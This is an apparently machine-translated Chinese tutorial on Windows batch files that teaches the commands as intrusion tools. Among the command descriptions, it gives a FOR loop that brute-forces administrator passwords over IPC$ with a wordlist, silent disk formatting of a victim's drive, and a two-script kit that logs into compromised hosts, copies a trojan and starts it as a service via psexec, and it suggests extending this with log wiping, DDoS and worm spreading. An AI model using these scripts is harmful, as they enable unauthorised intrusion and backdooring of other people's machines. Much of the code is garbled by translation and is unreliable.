如何用记事本写一些有趣的程序

你是说批处理文件!!那么你需要先了解一些批处理中用到的命令。。。。。1.简单批处理内部命令介绍

1.回声命令

打开或关闭回声,或显示信息。如果没有参数,echo命令将显示当前的echo设置。

语法

echo[{ on | off }][消息]

示例:@echo off / echo hello world

在实际应用中,我们将把这个命令和重定向符号(也称为管道符号,一般用>;& gt& gt)来实现将一些命令输入到特定格式的文件中,这个会在以后的例子中体现。2.@命令

这意味着@后面的命令将不会显示。在入侵过程中(比如用批处理格式化敌方硬盘),自然不能让对方看到你使用的命令。

示例:@回声关闭

@echo正在初始化程序,请稍等...

@ formatexx:/q/u/autoset (Format不允许使用参数/y,好在微软给我们留了一个autoset参数,效果和/y一样..) 3.Goto命令

指定跳转到标签。找到标签后,程序将从下一行开始处理命令。

语法:goto label (label是一个参数,它指定批处理程序中要转到的行。)

样本:

if {%1}=={}转到noparms

If {%2} = {} gotonoparms(如果你不明白这里的If,%1,%2,先跳过,后面会有详细解释。)

@Rem检查参数,如果为空则显示用法

:noparms

echo用法:monitor.bat ServerIP端口号

转到结尾

标签的名字可以随意选择,但最好是有意义的字母。在字母前加一个:表示字母是标签,goto命令就是基于这个:找到下一步并跳转到那里。你最好有一些解释,这样别人会明白你的意图。4.Rem命令

comment命令相当于C语言中的/*-*/。不会被执行,只是起到一个注释的作用,方便以后别人阅读和修改。

远程消息

示例:@ rem以下是描述。5 .暂停命令

运行暂停命令时,将显示以下消息:

按任意键继续。。。

样本:

@关闭回声

:开始

副本a:*。* d:\返回

echo请将新磁盘放入驱动程序A

中止

转到开始

在本例中,驱动器A中磁盘上的所有文件都被复制到d:\back。显示的提示提示您将另一张磁盘放入驱动器a。暂停命令将暂停程序,以便您可以更换磁盘并按任意键继续处理。6.呼叫命令

从一个批处理程序调用另一个批处理程序,而不终止父批处理程序。call命令接受用作调用目标的标签。如果在脚本或批处理文件之外使用Call,它将不会在命令行上工作。

语法

调用[[驱动器:] [路径]文件名[批处理参数]] [:标签[参数]]

参数

[驱动器:}[路径]文件名

指定要调用的批处理程序的位置和名称。filename参数必须有一个. bat或。cmd扩展。7 .启动命令

调用外部程序,所有的DOS命令和命令行程序都可以通过start命令调用。

常见入侵参数:

最小化MIN开头的窗口

在单独的空间启动16位Windows程序。

高启动高优先级类别的应用程序。

实时启动实时优先级类别中的应用程序。

WAIT启动应用程序并等待它结束。

参数这些是传递给命令/程序的参数。

当执行的应用程序是32位GUI应用程序时,CMD.EXE会返回命令提示符,而不等待应用程序终止。如果在命令脚本中执行,这种新行为将不会发生。

8 .选择命令

选择使用此命令让用户输入一个字符来运行不同的命令。使用的时候要加上/c:参数,在c:后面要写可以输入的字符,中间不要有空格。它的返回代码是1234...

如:choice /c:dme defrag,mem,end

将被显示

defrag,mem,end[D,M,E]?

样本:

Sample.bat的内容如下:

@关闭回声

choice /c:dme碎片整理,mem,end

如果错误级别3转到碎片整理(应首先判断值最高的错误代码)

如果错误级别2,转到记忆

如果错误级别为1,则转到end :defrag

c:\dos\defrag

转到结尾

:记忆

记忆

转到结尾

:结束

Echo good bye这个文件运行后,会显示defrag,mem,end[D,M,E]?用户可以选择d m e,然后if语句会做出判断。d表示执行标记为defrag的程序段,M表示执行标记为mem的程序段,E表示执行标记为end的程序段。每个程序段最后都会跳转到带有goto end的结束标签,然后程序会显示good bye,文件结束。9.if命令if表示将判断是否满足指定的条件,然后决定执行不同的命令。有三种格式:

1,如果"参数" = = "字符串"命令被执行

如果参数等于指定的字符串,则条件成立。运行命令,否则运行下一句。(注意是两个等号)

例如,如果“% 1”= =“a”格式a:

if {%1}=={}转到noparms

If {%2} = {} gotonoparms2,如果存在要执行的文件名命令。

如果有指定的文件,条件成立,运行命令,否则运行下一句。

比如if existconfig。syseditconfig.sys3,if errorlevel/if not errorlevel。

如果返回代码等于指定的数字,则条件成立,命令运行;否则下一句就是跑。

例如如果错误级别2转到x2。

当一个DOS程序运行时,它会返回一个数字给DOS,这个数字叫做错误码errorlevel或返回码。常见的返回代码是0,1。10 .用于命令

for命令是一个复杂命令,主要用于在指定范围内循环执行命令。

在批处理文件中使用FOR命令时,请在(set)docommand[命令行选项]中使用% % variable FOR { % variable | % % variable }来指定变量。

%variable指定一个单字母可替换参数。

(set)指定一个或一组文件。可以使用通配符。

Command指定对每个文件执行的命令。

Command-parameters为特定命令指定参数或命令行开关。

在批处理文件中使用FOR命令时,请使用%%variable来指定变量。

而不是%变量。变量名区分大小写,因此%i不同于% i,如果命令扩展被启用,下列附加FOR命令格式将受到影响。

支持:for/d % variable in(set)do command[command-parameters]如果集合包含通配符,则指定它匹配目录名而不是文件。

名字匹配。for/r[[drive:]path]% variable in(set)docommand[command-检查以[drive:]path为根的目录树,指向每个目录中。

对于语句,如果在/R后没有指定目录,则使用当前目录。

目录。如果集合只是一个点(。)字符,枚举目录树。对于(start,step,end) docommand [command-para]中的/l%变量,此集合以增量形式表示从开始到结束的数字序列。

因此,(1,1,5)将产生序列1 2 3 4 5,(5,1,1)将产生。

顺序(5 4 3 2 1)。(file-set) DO命令中的FOR/F[" options "]%变量

FOR/F[" options "]%变量IN ("string") DO命令

(' command') docommand中的For/f ["options"]% variable,或者,如果有usebackq选项:for/f[" options "]% variable in(file-set)docommand。

FOR/F[" options "]%变量IN ("string") DO命令

for/f[" options "]% variable in(' command ')docommand filename set是一个或多个文件名。在文件名集中继续。

每个文件在下一个文件之前已经被打开、读取和处理。

处理包括读取一个文件,将它分成文本行,然后将每行分成

解析零个或多个符号。然后使用找到的符号串的变量值

调用For循环。默认情况下,/F由每个文件中的每一行分隔。

的第一个空白符号。跳过空行。您可以指定可选的“选项”

参数重写默认的解析操作。这个引用的字符串包括一个或多个

为不同的解析选项指定关键字。这些关键字是:eol = c-表示一行注释字符的结尾(只有一个)

skip = n-表示在文件开头忽略的行数。

delims = XXX-表示分隔符集。这个代替了空格和制表符。

默认分隔符集。

Tokens=x,y,m-n-指的是每一行的哪个符号传递给每次迭代。

为了自己。这将导致额外的变量名。

格式是一个范围。用第n个符号指定m。

符号串中的最后一个星号字符,

那么额外的变量将在最后一个符号处被解析。

分配并接受该行的保留文本。

usebackq-指定新语法已用于以下情况:

在将带引号的字符串作为命令执行后

引号字符是文字字符串命令,在fi中是允许的

用双引号将文件名括起来。样品1:

FOR/F " eol =;Tokens = 2,3 * delims =," %i in (myfile.txt) Docommand将分析myfile.txt中的每一行,忽略那些以分号开头的行,并将

每行中的第二个和第三个符号被传递给for程序体;使用逗号和/或

空格分隔符。请注意,这个for程序体中的语句引用了% i。

获取第二个符号,引用%j来获取第三个符号,引用% k。

获取第三个符号之后的所有剩余符号。对于带空格的文件

名称,需要用双引号将文件名括起来。为了以这种方式制造

对于双引号,您还需要使用usebackq选项,否则双引号将

应当理解,它用于定义待分析的字符串。在for语句中特别声明了%i,而%j和%k是由。

Tokens=选项是特别指定的。可以传代币=一行。

指定最多26个符号,只要不试图描述比字母“z”或更高的符号。

“z”的变量。记住FOR变量是单字母的,区分大小写的,全局的;

同时,使用中的不能超过52个。还可以对相邻字符串使用FOR /F解析逻辑;该方法是,

用单引号将文件名集括在括号中。这样,人物

字符串被视为文件中的单个输入行。最后,您可以使用FOR /F命令来分析该命令的输出。方法是把

括号之间的文件名集成为一个封闭字符串。该线将

作为命令行,它被传递给子CMD.EXE,其输出将被捕获。

内存中,并作为一个文件进行分析。所以下面这个例子:for/f " usebackq delims = = " % I in(` set `)do @ echo % I枚举当前环境中的环境变量名称。此外,还增强了对变量引用的替换。您现在可以使用以下内容

选项语法:~ I-删除任何引号(")并展开% i。

% ~ fI-将%I扩展为完全限定的路径名

%~dI-only %I扩展为一个驱动器号。

% ~ pI-仅%I扩展到一个路径。

%~nI-only %I被扩展为文件名。

% ~仅限% I将被扩展为一个文件扩展名。

% ~ sI-扩展路径只包含短名称。

% ~ aI-将%I扩展到文件的file属性

% ~ tI-将%I扩展到文件的日期/时间

% ~ zI-将%I扩展到文件大小

% ~ $ PATH:I-找到PATH环境变量中列出的目录并展开% i。

到找到的第一个完全限定名。如果环境变量

未定义或未找到文件,此组合键将被扩展。

空字符串可以与修饰符结合使用以获得多个结果:%~dpI-only %I扩展为驱动器号和路径。

%~nxI-only %I被扩展为文件名和扩展名。

% ~ fsI-仅将%I扩展为带有短名称的完整路径名。

% ~ DP $ PATH:I-找到PATH环境变量中列出的目录并展开% i。

转到找到的第一个驱动器号和路径。

%~ftzaI-DIR将%I扩展到类似的输出行。在上面的例子中,%I和PATH可以替换为其他有效值。% ~语法

以有效的FOR变量名结束。选择一个类似于% i的大写变量名。

它更容易阅读,并避免与不区分大小写的组合键混淆。以上是MS的官方帮助,下面举几个例子来说明For命令在入侵中的使用。示例2:使用For命令破解目标Win2k主机的暴力密码。

我们使用net use \ \ IP \ IPC $ " password "/u:" administrator "尝试连接目标主机,成功后记下密码。

最重要的命令是一个:for/f I % in(dict . txt)do net use \ \ IP \ IPC $ " I % "/u:" administrator "。

I%用于表示admin的密码。在dict.txt中,i%的这个值是与net use命令连接的。然后将程序运行结果传递给find命令-

for/f I % % in(dict . txt)do net use \ \ IP \ IPC $ " I % % "/u:" administrator " | find ":命令成功完成" > & gtD:\ok.txt,就是ko。样本三:你有过大量肉鸡等着你去种后门+特洛伊马的经历吗?当数量特别大的时候,原本很开心的一切都会变得很压抑。文章开头提到,使用批处理文件可以简化日常或重复性的任务。那么如何实现呢?呵呵,看完你就明白了。主命令只有一个:(在批处理文件中使用FOR命令时,指定变量使用%%variable)。

@for /f "tokens=1,2,3 delims = " % % I in(victim . txt)do start call door . bat % % I % % j % % k

令牌的用法请参考上面的sample1,这里指的是将victim.txt中的内容按顺序传递给door.bat中的参数%i %j %k。

Cultivate.bat无非是用net use命令建立IPC$连接,并把特洛伊+后门复制到受害者,然后用return copy (If errorlever =)筛选成功植入后门的主机,并回显出来,或者回显到指定文件。

Delims=表示vivtim.txt中的内容用空格隔开。我想你看到这里一定明白这个victim.txt里面的内容是什么样子了。应该是按照%%i %%j %%k代表的对象来排列的,一般是ip密码用户名。

代码原型:

-在这里剪切,然后保存为批处理文件(我称之为main.bat ) -

@关闭回声

@if "%1"== " "转到用法

@for /f "tokens=1,2,3 delims = " % % I in(victim . txt)do start call IPC hack . bat % % I % % j % % k

@转到结尾

:用法

@echo在dos模式下运行该批处理。或者双击它。

:结束

-在这里剪切,然后保存为批处理文件(我称之为main.bat ) -

-在这里剪切,然后保存为批处理文件(我称之为door.bat)

@net use \\%1\ipc$ %3 /u:"%2 "

@if errorlevel 1 goto失败

@echo正在尝试建立IPC连接………好的

@ copy wind RV 32 . exe \ \ % 1 \ admin $ \ system32 & amp;& amp如果不是错误级别1回显IP %1用户% 2 PWD % 3 & gt;& gtko.txt

@ psexec \ \ % 1 c:\ win nt \ system32 \ win drv 32 . exe

@ psexec \ \ % 1 net start wind RV 32 & amp;& amp如果不是errorlevel 1 echo %1后门& gt& gtko.txt

:失败

@echo抱歉无法连接到受害者。

-在这里剪切,然后保存为批处理文件(我称之为door.bat)

这只是一个自动后门批次的雏形。两个批处理和后门程序(Windrv32.exe),psexec。Exe需要放在一个统一的目录中。批量内容。

可以扩展,比如增加清除日志+DDOS的功能,增加定期添加用户的功能,使其进一步具备自动传播(worm)的功能。这里不用我描述了,有兴趣的朋友可以自己研究一下。2.如何在批处理文件中使用参数?

参数可用于批处理,一般从1%到9%。当有多个参数时,需要shift来移动它们。这种情况比较少见,我们就不考虑了。

样品1:fomat.bat

@关闭回声

如果“% 1”= =“a”格式a:

:格式

@format a:/q/u/auotset

@echo请再插入一张磁盘到驱动a。

@暂停

@goto fomat

本例用于连续格式化多张软盘,使用时需要在dos窗口输入fomat.bat a。呵呵,好像有点多余~ _

样本2:

当我们要建立一个ipC$连接的时候,总是要输入一长串命令,不然就会出错,所以我们不妨把一些固定的命令写成一个批处理,把肉鸡的IP密码用户名作为参数赋给这个批处理,这样就不用每次都敲命令了。

@关闭回声

@ net use \ \ 1% \ IPC $ " 2% "/u:" 3% "注意这里PASSWORD是第二个参数。

@if errorlevel 1 echo连接失败

怎么样?用参数比较简单吧?你一定学会了怎么这么帅_ No.3。